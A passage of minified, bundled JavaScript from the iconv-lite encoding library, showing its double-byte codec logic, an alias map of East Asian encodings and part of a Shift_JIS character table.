            macintosh: {type: "_sbcs", chars: "ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûü†°¢£§•¶ß®©™´¨≠ÆØ∞±≤≥¥µ∂∑∏π∫ªºΩæø¿¡¬√ƒ≈∆«»… ÀÃÕŒœ–—“”‘’÷◊ÿŸ⁄¤‹›fifl‡·‚„‰ÂÊÁËÈÍÎÏÌÓÔ�ÒÚÛÙıˆ˜¯˘˙˚¸˝˛ˇ"},
            ascii: {type: "_sbcs", chars: "��������������������������������������������������������������������������������������������������������������������������������"},
            tis620: {type: "_sbcs", chars: "���������������������������������กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮฯะัาำิีึืฺุู����฿เแโใไๅๆ็่้๊๋์ํ๎๏๐๑๒๓๔๕๖๗๘๙๚๛����"}
        }
    }, function (t, e, n) {
        (function (t) {
            "use strict";

            function n(t, e) {
                if (this.encodingName = t.encodingName, !t) throw new Error("DBCS codec is called without the data.");
                if (!t.table) throw new Error("Encoding '" + this.encodingName + "' has no data.");
                var n = t.table();
                this.decodeTables = [], this.decodeTables[0] = c.slice(0), this.decodeTableSeq = [];
                for (var r = 0; r < n.length; r++) this._addDecodeChunk(n[r]);
                this.defaultCharUnicode = e.defaultCharUnicode, this.encodeTable = [], this.encodeTableSeq = [];
                var i = {};
                if (t.encodeSkipVals) for (var r = 0; r < t.encodeSkipVals.length; r++) {
                    var o = t.encodeSkipVals[r];
                    if ("number" == typeof o) i[o] = !0; else for (var l = o.from; l <= o.to; l++) i[l] = !0
                }
                if (this._fillEncodeTable(0, 0, i), t.encodeAdd) for (var f in t.encodeAdd) Object.prototype.hasOwnProperty.call(t.encodeAdd, f) && this._setEncodeChar(f.charCodeAt(0), t.encodeAdd[f]);
                if (this.defCharSB = this.encodeTable[0][e.defaultCharSingleByte.charCodeAt(0)], this.defCharSB === a && (this.defCharSB = this.encodeTable[0]["?"]), this.defCharSB === a && (this.defCharSB = "?".charCodeAt(0)), "function" == typeof t.gb18030) {
                    this.gb18030 = t.gb18030();
                    for (var h = this.decodeTables.length, p = this.decodeTables[h] = c.slice(0), d = this.decodeTables.length, g = this.decodeTables[d] = c.slice(0), r = 129; r <= 254; r++) for (var v = u - this.decodeTables[0][r], y = this.decodeTables[v], l = 48; l <= 57; l++) y[l] = u - h;
                    for (var r = 129; r <= 254; r++) p[r] = u - d;
                    for (var r = 48; r <= 57; r++) g[r] = s
                }
            }

            function r(t, e) {
                this.leadSurrogate = -1, this.seqObj = void 0, this.encodeTable = e.encodeTable, this.encodeTableSeq = e.encodeTableSeq, this.defaultCharSingleByte = e.defCharSB, this.gb18030 = e.gb18030
            }

            function i(e, n) {
                this.nodeIdx = 0, this.prevBuf = new t(0), this.decodeTables = n.decodeTables, this.decodeTableSeq = n.decodeTableSeq, this.defaultCharUnicode = n.defaultCharUnicode, this.gb18030 = n.gb18030
            }

            function o(t, e) {
                if (t[0] > e) return -1;
                for (var n = 0, r = t.length; n < r - 1;) {
                    var i = n + Math.floor((r - n + 1) / 2);
                    t[i] <= e ? n = i : r = i
                }
                return n
            }

            e._dbcs = n;
            for (var a = -1, s = -2, u = -1e3, c = new Array(256), l = 0; l < 256; l++) c[l] = a;
            n.prototype.encoder = r, n.prototype.decoder = i, n.prototype._getDecodeTrieNode = function (t) {
                for (var e = []; t > 0; t >>= 8) e.push(255 & t);
                0 == e.length && e.push(0);
                for (var n = this.decodeTables[0], r = e.length - 1; r > 0; r--) {
                    var i = n[e[r]];
                    if (i == a) n[e[r]] = u - this.decodeTables.length, this.decodeTables.push(n = c.slice(0)); else {
                        if (!(i <= u)) throw new Error("Overwrite byte in " + this.encodingName + ", addr: " + t.toString(16));
                        n = this.decodeTables[u - i]
                    }
                }
                return n
            }, n.prototype._addDecodeChunk = function (t) {
                var e = parseInt(t[0], 16), n = this._getDecodeTrieNode(e);
                e &= 255;
                for (var r = 1; r < t.length; r++) {
                    var i = t[r];
                    if ("string" == typeof i) for (var o = 0; o < i.length;) {
                        var a = i.charCodeAt(o++);
                        if (55296 <= a && a < 56320) {
                            var s = i.charCodeAt(o++);
                            if (!(56320 <= s && s < 57344)) throw new Error("Incorrect surrogate pair in " + this.encodingName + " at chunk " + t[0]);
                            n[e++] = 65536 + 1024 * (a - 55296) + (s - 56320)
                        } else if (4080 < a && a <= 4095) {
                            for (var u = 4095 - a + 2, c = [], l = 0; l < u; l++) c.push(i.charCodeAt(o++));
                            n[e++] = -10 - this.decodeTableSeq.length, this.decodeTableSeq.push(c)
                        } else n[e++] = a
                    } else {
                        if ("number" != typeof i) throw new Error("Incorrect type '" + typeof i + "' given in " + this.encodingName + " at chunk " + t[0]);
                        for (var f = n[e - 1] + 1, o = 0; o < i; o++) n[e++] = f++
                    }
                }
                if (e > 255) throw new Error("Incorrect chunk in " + this.encodingName + " at addr " + t[0] + ": too long" + e)
            }, n.prototype._getEncodeBucket = function (t) {
                var e = t >> 8;
                return void 0 === this.encodeTable[e] && (this.encodeTable[e] = c.slice(0)), this.encodeTable[e]
            }, n.prototype._setEncodeChar = function (t, e) {
                var n = this._getEncodeBucket(t), r = 255 & t;
                n[r] <= -10 ? this.encodeTableSeq[-10 - n[r]][-1] = e : n[r] == a && (n[r] = e)
            }, n.prototype._setEncodeSequence = function (t, e) {
                var n, r = t[0], i = this._getEncodeBucket(r), o = 255 & r;
                i[o] <= -10 ? n = this.encodeTableSeq[-10 - i[o]] : (n = {}, i[o] !== a && (n[-1] = i[o]), i[o] = -10 - this.encodeTableSeq.length, this.encodeTableSeq.push(n));
                for (var s = 1; s < t.length - 1; s++) {
                    var u = n[r];
                    "object" == typeof u ? n = u : (n = n[r] = {}, void 0 !== u && (n[-1] = u))
                }
                r = t[t.length - 1], n[r] = e
            }, n.prototype._fillEncodeTable = function (t, e, n) {
                for (var r = this.decodeTables[t], i = 0; i < 256; i++) {
                    var o = r[i], a = e + i;
                    n[a] || (o >= 0 ? this._setEncodeChar(o, a) : o <= u ? this._fillEncodeTable(u - o, a << 8, n) : o <= -10 && this._setEncodeSequence(this.decodeTableSeq[-10 - o], a))
                }
            }, r.prototype.write = function (e) {
                for (var n = new t(e.length * (this.gb18030 ? 4 : 3)), r = this.leadSurrogate, i = this.seqObj, s = -1, u = 0, c = 0; ;) {
                    if (s === -1) {
                        if (u == e.length) break;
                        var l = e.charCodeAt(u++)
                    } else {
                        var l = s;
                        s     = -1
                    }
                    if (55296 <= l && l < 57344) if (l < 56320) {
                        if (r === -1) {
                            r = l;
                            continue
                        }
                        r = l, l = a
                    } else r !== -1 ? (l = 65536 + 1024 * (r - 55296) + (l - 56320), r = -1) : l = a; else r !== -1 && (s = l, l = a, r = -1);
                    var f = a;
                    if (void 0 !== i && l != a) {
                        var h = i[l];
                        if ("object" == typeof h) {
                            i = h;
                            continue
                        }
                        "number" == typeof h ? f = h : void 0 == h && void 0 !== (h = i[-1]) && (f = h, s = l), i = void 0
                    } else if (l >= 0) {
                        var p = this.encodeTable[l >> 8];
                        if (void 0 !== p && (f = p[255 & l]), f <= -10) {
                            i = this.encodeTableSeq[-10 - f];
                            continue
                        }
                        if (f == a && this.gb18030) {
                            var d = o(this.gb18030.uChars, l);
                            if (d != -1) {
                                var f = this.gb18030.gbChars[d] + (l - this.gb18030.uChars[d]);
                                n[c++] = 129 + Math.floor(f / 12600), f %= 12600, n[c++] = 48 + Math.floor(f / 1260), f %= 1260, n[c++] = 129 + Math.floor(f / 10), f %= 10, n[c++] = 48 + f;
                                continue
                            }
                        }
                    }
                    f === a && (f = this.defaultCharSingleByte), f < 256 ? n[c++] = f : f < 65536 ? (n[c++] = f >> 8, n[c++] = 255 & f) : (n[c++] = f >> 16, n[c++] = f >> 8 & 255, n[c++] = 255 & f)
                }
                return this.seqObj = i, this.leadSurrogate = r, n.slice(0, c)
            }, r.prototype.end = function () {
                if (this.leadSurrogate !== -1 || void 0 !== this.seqObj) {
                    var e = new t(10), n = 0;
                    if (this.seqObj) {
                        var r = this.seqObj[-1];
                        void 0 !== r && (r < 256 ? e[n++] = r : (e[n++] = r >> 8, e[n++] = 255 & r)), this.seqObj = void 0
                    }
                    return this.leadSurrogate !== -1 && (e[n++] = this.defaultCharSingleByte, this.leadSurrogate = -1), e.slice(0, n)
                }
            }, r.prototype.findIdx = o, i.prototype.write = function (e) {
                var n, r = new t(2 * e.length), i = this.nodeIdx, c = this.prevBuf, l = this.prevBuf.length, f = -this.prevBuf.length;
                l > 0 && (c = t.concat([c, e.slice(0, 10)]));
                for (var h = 0, p = 0; h < e.length; h++) {
                    var d = h >= 0 ? e[h] : c[h + l], n = this.decodeTables[i][d];
                    if (n >= 0) ; else if (n === a) h = f, n = this.defaultCharUnicode.charCodeAt(0); else if (n === s) {
                        var g = f >= 0 ? e.slice(f, h + 1) : c.slice(f + l, h + 1 + l), v = 12600 * (g[0] - 129) + 1260 * (g[1] - 48) + 10 * (g[2] - 129) + (g[3] - 48),
                            y = o(this.gb18030.gbChars, v);
                        n = this.gb18030.uChars[y] + v - this.gb18030.gbChars[y]
                    } else {
                        if (n <= u) {
                            i = u - n;
                            continue
                        }
                        if (!(n <= -10)) throw new Error("iconv-lite internal error: invalid decoding table value " + n + " at " + i + "/" + d);
                        for (var m = this.decodeTableSeq[-10 - n], b = 0; b < m.length - 1; b++) n = m[b], r[p++] = 255 & n, r[p++] = n >> 8;
                        n = m[m.length - 1]
                    }
                    if (n > 65535) {
                        n -= 65536;
                        var w = 55296 + Math.floor(n / 1024);
                        r[p++] = 255 & w, r[p++] = w >> 8, n = 56320 + n % 1024
                    }
                    r[p++] = 255 & n, r[p++] = n >> 8, i = 0, f = h + 1
                }
                return this.nodeIdx = i, this.prevBuf = f >= 0 ? e.slice(f) : c.slice(f + l), r.slice(0, p).toString("ucs2")
            }, i.prototype.end = function () {
                for (var e = ""; this.prevBuf.length > 0;) {
                    e += this.defaultCharUnicode;
                    var n = this.prevBuf.slice(1);
                    this.prevBuf = new t(0), this.nodeIdx = 0, n.length > 0 && (e += this.write(n))
                }
                return this.nodeIdx = 0, e
            }
        }).call(e, n(2).Buffer)
    }, function (t, e, n) {
        "use strict";
        t.exports = {
            shiftjis: {
                type: "_dbcs", table: function () {
                    return n(95)
                }, encodeAdd: {"¥": 92, "‾": 126}, encodeSkipVals: [{from: 60736, to: 63808}]
            },
            csshiftjis: "shiftjis",
            mskanji: "shiftjis",
            sjis: "shiftjis",
            windows31j: "shiftjis",
            ms31j: "shiftjis",
            xsjis: "shiftjis",
            windows932: "shiftjis",
            ms932: "shiftjis",
            932: "shiftjis",
            cp932: "shiftjis",
            eucjp: {
                type: "_dbcs", table: function () {
                    return n(96)
                }, encodeAdd: {"¥": 92, "‾": 126}
            },
            gb2312: "cp936",
            gb231280: "cp936",
            gb23121980: "cp936",
            csgb2312: "cp936",
            csiso58gb231280: "cp936",
            euccn: "cp936",
            windows936: "cp936",
            ms936: "cp936",
            936: "cp936",
            cp936: {
                type: "_dbcs", table: function () {
                    return n(97)
                }
            },
            gbk: {
                type: "_dbcs", table: function () {
                    return n(97).concat(n(98))
                }
            },
            xgbk: "gbk",
            isoir58: "gbk",
            gb18030: {
                type: "_dbcs", table: function () {
                    return n(97).concat(n(98))
                }, gb18030: function () {
                    return n(99)
                }, encodeSkipVals: [128], encodeAdd: {"€": 41699}
            },
            chinese: "gb18030",
            windows949: "cp949",
            ms949: "cp949",
            949: "cp949",
            cp949: {
                type: "_dbcs", table: function () {
                    return n(100)
                }
            },
            cseuckr: "cp949",
            csksc56011987: "cp949",
            euckr: "cp949",
            isoir149: "cp949",
            korean: "cp949",
            ksc56011987: "cp949",
            ksc56011989: "cp949",
            ksc5601: "cp949",
            windows950: "cp950",
            ms950: "cp950",
            950: "cp950",
            cp950: {
                type: "_dbcs", table: function () {
                    return n(101)
                }
            },
            big5: "big5hkscs",
            big5hkscs: {
                type: "_dbcs", table: function () {
                    return n(101).concat(n(102))
                }, encodeSkipVals: [41676]
            },
            cnbig5: "big5hkscs",
            csbig5: "big5hkscs",
            xxbig5: "big5hkscs"
        }
    }, function (t, e) {
        t.exports = [["0", "\0", 128], ["a1", "。", 62], ["8140", " 、。,.・:;?!゛゜´`¨^ ̄_ヽヾゝゞ〃仝々〆〇ー―‐/\~∥|…‥‘’“”()〔〕[]{}〈", 9, "+-±×"], ["8180", "÷=≠<>≦≧∞∴♂♀°′″℃¥$¢£%#&*@§☆★○●◎◇◆□■△▲▽▼※〒→←↑↓〓"], ["81b8", "∈∋⊆⊇⊂⊃∪∩"], ["81c8", "∧∨¬⇒⇔∀∃"], ["81da", "∠⊥⌒∂∇≡≒≪≫√∽∝∵∫∬"], ["81f0", "ʼn♯♭♪†‡¶"], ["81fc", "◯"], ["824f", "0", 9], ["8260", "A", 25], ["8281", "a", 25], ["829f", "ぁ", 82], ["8340", "ァ", 62], ["8380", "ム", 22], ["839f", "Α", 16, "Σ", 6], ["83bf", "α", 16, "σ", 6], ["8440", "А", 5, "ЁЖ", 25], ["8470", "а", 5, "ёж", 7], ["8480", "о", 17], ["849f", "─│┌┐┘└├┬┤┴┼━┃┏┓┛┗┣┳┫┻╋┠┯┨┷┿┝┰┥┸╂"], ["8740", "①", 19, "Ⅰ", 9], ["875f", "㍉㌔㌢㍍㌘㌧㌃㌶㍑㍗㌍㌦㌣㌫㍊㌻㎜㎝㎞㎎㎏㏄㎡"], ["877e", "㍻"], ["8780", "〝〟№㏍℡㊤", 4, "㈱㈲㈹㍾㍽㍼≒≡∫∮∑√⊥∠∟⊿∵∩∪"], ["889f", "亜唖娃阿哀愛挨姶逢葵茜穐悪握渥旭葦芦鯵梓圧斡扱宛姐虻飴絢綾鮎或粟袷安庵按暗案闇鞍杏以伊位依偉囲夷委威尉惟意慰易椅為畏異移維緯胃萎衣謂違遺医井亥域育郁磯一壱溢逸稲茨芋鰯允印咽員因姻引飲淫胤蔭"], ["8940", "院陰隠韻吋右宇烏羽迂雨卯鵜窺丑碓臼渦嘘唄欝蔚鰻姥厩浦瓜閏噂云運雲荏餌叡営嬰影映曳栄永泳洩瑛盈穎頴英衛詠鋭液疫益駅悦謁越閲榎厭円"], ["8980", "園堰奄宴延怨掩援沿演炎焔煙燕猿縁艶苑薗遠鉛鴛塩於汚甥凹央奥往応押旺横欧殴王翁襖鴬鴎黄岡沖荻億屋憶臆桶牡乙俺卸恩温穏音下化仮何伽価佳加可嘉夏嫁家寡科暇果架歌河火珂禍禾稼箇花苛茄荷華菓蝦課嘩貨迦過霞蚊俄峨我牙画臥芽蛾賀雅餓駕介会解回塊壊廻快怪悔恢懐戒拐改"], ["8a40", "魁晦械海灰界皆絵芥蟹開階貝凱劾外咳害崖慨概涯碍蓋街該鎧骸浬馨蛙垣柿蛎鈎劃嚇各廓拡撹格核殻獲確穫覚角赫較郭閣隔革学岳楽額顎掛笠樫"], ["8a80", "橿梶鰍潟割喝恰括活渇滑葛褐轄且鰹叶椛樺鞄株兜竃蒲釜鎌噛鴨栢茅萱粥刈苅瓦乾侃冠寒刊勘勧巻喚堪姦完官寛干幹患感慣憾換敢柑桓棺款歓汗漢澗潅環甘監看竿管簡緩缶翰肝艦莞観諌貫還鑑間閑関陥韓館舘丸含岸巌玩癌眼岩翫贋雁頑顔願企伎危喜器基奇嬉寄岐希幾忌揮机旗既期棋棄"], ["8b40", "機帰毅気汽畿祈季稀紀徽規記貴起軌輝飢騎鬼亀偽儀妓宜戯技擬欺犠疑祇義蟻誼議掬菊鞠吉吃喫桔橘詰砧杵黍却客脚虐逆丘久仇休及吸宮弓急救"], ["8b80", "朽求汲泣灸球究窮笈級糾給旧牛去居巨拒拠挙渠虚許距鋸漁禦魚亨享京供侠僑兇競共凶協匡卿叫喬境峡強彊怯恐恭挟教橋況狂狭矯胸脅興蕎郷鏡響饗驚仰凝尭暁業局曲極玉桐粁僅勤均巾錦斤欣欽琴禁禽筋緊芹菌衿襟謹近金吟銀九倶句区狗玖矩苦躯駆駈駒具愚虞喰空偶寓遇隅串櫛釧屑屈"], ["8c40", "掘窟沓靴轡窪熊隈粂栗繰桑鍬勲君薫訓群軍郡卦袈祁係傾刑兄啓圭珪型契形径恵慶慧憩掲携敬景桂渓畦稽系経継繋罫茎荊蛍計詣警軽頚鶏芸迎鯨"], ["8c80", "劇戟撃激隙桁傑欠決潔穴結血訣月件倹倦健兼券剣喧圏堅嫌建憲懸拳捲検権牽犬献研硯絹県肩見謙賢軒遣鍵険顕験鹸元原厳幻弦減源玄現絃舷言諺限乎個古呼固姑孤己庫弧戸故枯湖狐糊袴股胡菰虎誇跨鈷雇顧鼓五互伍午呉吾娯後御悟梧檎瑚碁語誤護醐乞鯉交佼侯候倖光公功効勾厚口向"], ["8d40", "后喉坑垢好孔孝宏工巧巷幸広庚康弘恒慌抗拘控攻昂晃更杭校梗構江洪浩港溝甲皇硬稿糠紅紘絞綱耕考肯肱腔膏航荒行衡講貢購郊酵鉱砿鋼閤降"], ["8d80", "項香高鴻剛劫号合壕拷濠豪轟麹克刻告国穀酷鵠黒獄漉腰甑忽惚骨狛込此頃今困坤墾婚恨懇昏昆根梱混痕紺艮魂些佐叉唆嵯左差査沙瑳砂詐鎖裟坐座挫債催再最哉塞妻宰彩才採栽歳済災采犀砕砦祭斎細菜裁載際剤在材罪財冴坂阪堺榊肴咲崎埼碕鷺作削咋搾昨朔柵窄策索錯桜鮭笹匙冊刷"], ["8e40", "察拶撮擦札殺薩雑皐鯖捌錆鮫皿晒三傘参山惨撒散桟燦珊産算纂蚕讃賛酸餐斬暫残仕仔伺使刺司史嗣四士始姉姿子屍市師志思指支孜斯施旨枝止"], ["8e80", "死氏獅祉私糸紙紫肢脂至視詞詩試誌諮資賜雌飼歯事似侍児字寺慈持時次滋治爾璽痔磁示而耳自蒔辞汐鹿式識鴫竺軸宍雫七叱執失嫉室悉湿漆疾質実蔀篠偲柴芝屡蕊縞舎写射捨赦斜煮社紗者謝車遮蛇邪借勺尺杓灼爵酌釈錫若寂弱惹主取守手朱殊狩珠種腫趣酒首儒受呪寿授樹綬需囚収周"], ["8f40", "宗就州修愁拾洲秀秋終繍習臭舟蒐衆襲讐蹴輯週酋酬集醜什住充十従戎柔汁渋獣縦重銃叔夙宿淑祝縮粛塾熟出術述俊峻春瞬竣舜駿准循旬楯殉淳"], ["8f80", "準潤盾純巡遵醇順処初所暑曙渚庶緒署書薯藷諸助叙女序徐恕鋤除傷償勝匠升召哨商唱嘗奨妾娼宵将小少尚庄床廠彰承抄招掌捷昇昌昭晶松梢樟樵沼消渉湘焼焦照症省硝礁祥称章笑粧紹肖菖蒋蕉衝裳訟証詔詳象賞醤鉦鍾鐘障鞘上丈丞乗冗剰城場壌嬢常情擾条杖浄状畳穣蒸譲醸錠嘱埴飾"], ["9040", "拭植殖燭織職色触食蝕辱尻伸信侵唇娠寝審心慎振新晋森榛浸深申疹真神秦紳臣芯薪親診身辛進針震人仁刃塵壬尋甚尽腎訊迅陣靭笥諏須酢図厨"], ["9080", "逗吹垂帥推水炊睡粋翠衰遂酔錐錘随瑞髄崇嵩数枢趨雛据杉椙菅頗雀裾澄摺寸世瀬畝是凄制勢姓征性成政整星晴棲栖正清牲生盛精聖声製西誠誓請逝醒青静斉税脆隻席惜戚斥昔析石積籍績脊責赤跡蹟碩切拙接摂折設窃節説雪絶舌蝉仙先千占宣専尖川戦扇撰栓栴泉浅洗染潜煎煽旋穿箭線"], ["9140", "繊羨腺舛船薦詮賎践選遷銭銑閃鮮前善漸然全禅繕膳糎噌塑岨措曾曽楚狙疏疎礎祖租粗素組蘇訴阻遡鼠僧創双叢倉喪壮奏爽宋層匝惣想捜掃挿掻"], ["9180", "操早曹巣槍槽漕燥争痩相窓糟総綜聡草荘葬蒼藻装走送遭鎗霜騒像増憎臓蔵贈造促側則即息捉束測足速俗属賊族続卒袖其揃存孫尊損村遜他多太汰詑唾堕妥惰打柁舵楕陀駄騨体堆対耐岱帯待怠態戴替泰滞胎腿苔袋貸退逮隊黛鯛代台大第醍題鷹滝瀧卓啄宅托択拓沢濯琢託鐸濁諾茸凧蛸只"], ["9240", "叩但達辰奪脱巽竪辿棚谷狸鱈樽誰丹単嘆坦担探旦歎淡湛炭短端箪綻耽胆蛋誕鍛団壇弾断暖檀段男談値知地弛恥智池痴稚置致蜘遅馳築畜竹筑蓄"], ["9280", "逐秩窒茶嫡着中仲宙忠抽昼柱注虫衷註酎鋳駐樗瀦猪苧著貯丁兆凋喋寵帖帳庁弔張彫徴懲挑暢朝潮牒町眺聴脹腸蝶調諜超跳銚長頂鳥勅捗直朕沈珍賃鎮陳津墜椎槌追鎚痛通塚栂掴槻佃漬柘辻蔦綴鍔椿潰坪壷嬬紬爪吊釣鶴亭低停偵剃貞呈堤定帝底庭廷弟悌抵挺提梯汀碇禎程締艇訂諦蹄逓"], ["9340", "邸鄭釘鼎泥摘擢敵滴的笛適鏑溺哲徹撤轍迭鉄典填天展店添纏甜貼転顛点伝殿澱田電兎吐堵塗妬屠徒斗杜渡登菟賭途都鍍砥砺努度土奴怒倒党冬"], ["9380", "凍刀唐塔塘套宕島嶋悼投搭東桃梼棟盗淘湯涛灯燈当痘祷等答筒糖統到董蕩藤討謄豆踏逃透鐙陶頭騰闘働動同堂導憧撞洞瞳童胴萄道銅峠鴇匿得徳涜特督禿篤毒独読栃橡凸突椴届鳶苫寅酉瀞噸屯惇敦沌豚遁頓呑曇鈍奈那内乍凪薙謎灘捺鍋楢馴縄畷南楠軟難汝二尼弐迩匂賑肉虹廿日乳入"], ["9440", "如尿韮任妊忍認濡禰祢寧葱猫熱年念捻撚燃粘乃廼之埜嚢悩濃納能脳膿農覗蚤巴把播覇杷波派琶破婆罵芭馬俳廃拝排敗杯盃牌背肺輩配倍培媒梅"], ["9480", "楳煤狽買売賠陪這蝿秤矧萩伯剥博拍柏泊白箔粕舶薄迫曝漠爆縛莫駁麦函箱硲箸肇筈櫨幡肌畑畠八鉢溌発醗髪伐罰抜筏閥鳩噺塙蛤隼伴判半反叛帆搬斑板氾汎版犯班畔繁般藩販範釆煩頒飯挽晩番盤磐蕃蛮匪卑否妃庇彼悲扉批披斐比泌疲皮碑秘緋罷肥被誹費避非飛樋簸備尾微枇毘琵眉美"], ["9540", "鼻柊稗匹疋髭彦膝菱肘弼必畢筆逼桧姫媛紐百謬俵彪標氷漂瓢票表評豹廟描病秒苗錨鋲蒜蛭鰭品彬斌浜瀕貧賓頻敏瓶不付埠夫婦富冨布府怖扶敷"], ["9580", "斧普浮父符腐膚芙譜負賦赴阜附侮撫武舞葡蕪部封楓風葺蕗伏副復幅服福腹複覆淵弗払沸仏物鮒分吻噴墳憤扮焚奮粉糞紛雰文聞丙併兵塀幣平弊柄並蔽閉陛米頁僻壁癖碧別瞥蔑箆偏変片篇編辺返遍便勉娩弁鞭保舗鋪圃捕歩甫補輔穂募墓慕戊暮母簿菩倣俸包呆報奉宝峰峯崩庖抱捧放方朋"], ["9640", "法泡烹砲縫胞芳萌蓬蜂褒訪豊邦鋒飽鳳鵬乏亡傍剖坊妨帽忘忙房暴望某棒冒紡肪膨謀貌貿鉾防吠頬北僕卜墨撲朴牧睦穆釦勃没殆堀幌奔本翻凡盆"], ["9680", "摩磨魔麻埋妹昧枚毎哩槙幕膜枕鮪柾鱒桝亦俣又抹末沫迄侭繭麿万慢満漫蔓味未魅巳箕岬密蜜湊蓑稔脈妙粍民眠務夢無牟矛霧鵡椋婿娘冥名命明盟迷銘鳴姪牝滅免棉綿緬面麺摸模茂妄孟毛猛盲網耗蒙儲木黙目杢勿餅尤戻籾貰問悶紋門匁也冶夜爺耶野弥矢厄役約薬訳躍靖柳薮鑓愉愈油癒"], ["9740", "諭輸唯佑優勇友宥幽悠憂揖有柚湧涌猶猷由祐裕誘遊邑郵雄融夕予余与誉輿預傭幼妖容庸揚揺擁曜楊様洋溶熔用窯羊耀葉蓉要謡踊遥陽養慾抑欲"], ["9780", "沃浴翌翼淀羅螺裸来莱頼雷洛絡落酪乱卵嵐欄濫藍蘭覧利吏履李梨理璃痢裏裡里離陸律率立葎掠略劉流溜琉留硫粒隆竜龍侶慮旅虜了亮僚両凌寮料梁涼猟療瞭稜糧良諒遼量陵領力緑倫厘林淋燐琳臨輪隣鱗麟瑠塁涙累類令伶例冷励嶺怜玲礼苓鈴隷零霊麗齢暦歴列劣烈裂廉恋憐漣煉簾練聯"], ["9840", "蓮連錬呂魯櫓炉賂路露労婁廊弄朗楼榔浪漏牢狼篭老聾蝋郎六麓禄肋録論倭和話歪賄脇惑枠鷲亙亘鰐詫藁蕨椀湾碗腕"], ["989f", "弌丐丕个丱丶丼丿乂乖乘亂亅豫亊舒弍于亞亟亠亢亰亳亶从仍仄仆仂仗仞仭仟价伉佚估佛佝佗佇佶侈侏侘佻佩佰侑佯來侖儘俔俟俎俘俛俑俚俐俤俥倚倨倔倪倥倅伜俶倡倩倬俾俯們倆偃假會偕偐偈做偖偬偸傀傚傅傴傲"], ["9940", "僉僊傳僂僖僞僥僭僣僮價僵儉儁儂儖儕儔儚儡儺儷儼儻儿兀兒兌兔兢竸兩兪兮冀冂囘册冉冏冑冓冕冖冤冦冢冩冪冫决冱冲冰况冽凅凉凛几處凩凭"], ["9980", "凰凵凾刄刋刔刎刧刪刮刳刹剏剄剋剌剞剔剪剴剩剳剿剽劍劔劒剱劈劑辨辧劬劭劼劵勁勍勗勞勣勦飭勠勳勵勸勹匆匈甸匍匐匏匕匚匣匯匱匳匸區卆卅丗卉卍凖卞卩卮夘卻卷厂厖厠厦厥厮厰厶參簒雙叟曼燮叮叨叭叺吁吽呀听吭吼吮吶吩吝呎咏呵咎呟呱呷呰咒呻咀呶咄咐咆哇咢咸咥咬哄哈咨"], ["9a40", "咫哂咤咾咼哘哥哦唏唔哽哮哭哺哢唹啀啣啌售啜啅啖啗唸唳啝喙喀咯喊喟啻啾喘喞單啼喃喩喇喨嗚嗅嗟嗄嗜嗤嗔嘔嗷嘖嗾嗽嘛嗹噎噐營嘴嘶嘲嘸"], ["9a80", "噫噤嘯噬噪嚆嚀嚊嚠嚔嚏嚥嚮嚶嚴囂嚼囁囃囀囈囎囑囓囗囮囹圀囿圄圉圈國圍圓團圖嗇圜圦圷圸坎圻址坏坩埀垈坡坿垉垓垠垳垤垪垰埃埆埔埒埓堊埖埣堋堙堝塲堡塢塋塰毀塒堽塹墅墹墟墫墺壞墻墸墮壅壓壑壗壙壘壥壜壤壟壯壺壹壻壼壽夂夊夐夛梦夥夬夭夲夸夾竒奕奐奎奚奘奢奠奧奬奩"], ["9b40", "奸妁妝佞侫妣妲姆姨姜妍姙姚娥娟娑娜娉娚婀婬婉娵娶婢婪媚媼媾嫋嫂媽嫣嫗嫦嫩嫖嫺嫻嬌嬋嬖嬲嫐嬪嬶嬾孃孅孀孑孕孚孛孥孩孰孳孵學斈孺宀"], ["9b80", "它宦宸寃寇寉寔寐寤實寢寞寥寫寰寶寳尅將專對尓尠尢尨尸尹屁屆屎屓屐屏孱屬屮乢屶屹岌岑岔妛岫岻岶岼岷峅岾峇峙峩峽峺峭嶌峪崋崕崗嵜崟崛崑崔崢崚崙崘嵌嵒嵎嵋嵬嵳嵶嶇嶄嶂嶢嶝嶬嶮嶽嶐嶷嶼巉巍巓巒巖巛巫已巵帋帚帙帑帛帶帷幄幃幀幎幗幔幟幢幤幇幵并幺麼广庠廁廂廈廐廏"], ["9c40", "廖廣廝廚廛廢廡廨廩廬廱廳廰廴廸廾弃弉彝彜弋弑弖弩弭弸彁彈彌彎弯彑彖彗彙彡彭彳彷徃徂彿徊很徑徇從徙徘徠徨徭徼忖忻忤忸忱忝悳忿怡恠"], ["9c80", "怙怐怩怎怱怛怕怫怦怏怺恚恁恪恷恟恊恆恍恣恃恤恂恬恫恙悁悍惧悃悚悄悛悖悗悒悧悋惡悸惠惓悴忰悽惆悵惘慍愕愆惶惷愀惴惺愃愡惻惱愍愎慇愾愨愧慊愿愼愬愴愽慂慄慳慷慘慙慚慫慴慯慥慱慟慝慓慵憙憖憇憬憔憚憊憑憫憮懌懊應懷懈懃懆憺懋罹懍懦懣懶懺懴懿懽懼懾戀戈戉戍戌戔戛"], ["9d40", "戞戡截戮戰戲戳扁扎扞扣扛扠扨扼抂抉找抒抓抖拔抃抔拗拑抻拏拿拆擔拈拜拌拊拂拇抛拉挌拮拱挧挂挈拯拵捐挾捍搜捏掖掎掀掫捶掣掏掉掟掵捫"], ["9d80", "捩掾揩揀揆揣揉插揶揄搖搴搆搓搦搶攝搗搨搏摧摯摶摎攪撕撓撥撩撈撼據擒擅擇撻擘擂擱擧舉擠擡抬擣擯攬擶擴擲擺攀擽攘攜攅攤攣攫攴攵攷收攸畋效敖敕敍敘敞敝敲數斂斃變斛斟斫斷旃旆旁旄旌旒旛旙无旡旱杲昊昃旻杳昵昶昴昜晏晄晉晁晞晝晤晧晨晟晢晰暃暈暎暉暄暘暝曁暹曉暾暼"], ["9e40", "曄暸曖曚曠昿曦曩曰曵曷朏朖朞朦朧霸朮朿朶杁朸朷杆杞杠杙杣杤枉杰枩杼杪枌枋枦枡枅枷柯枴柬枳柩枸柤柞柝柢柮枹柎柆柧檜栞框栩桀桍栲桎"], ["9e80", 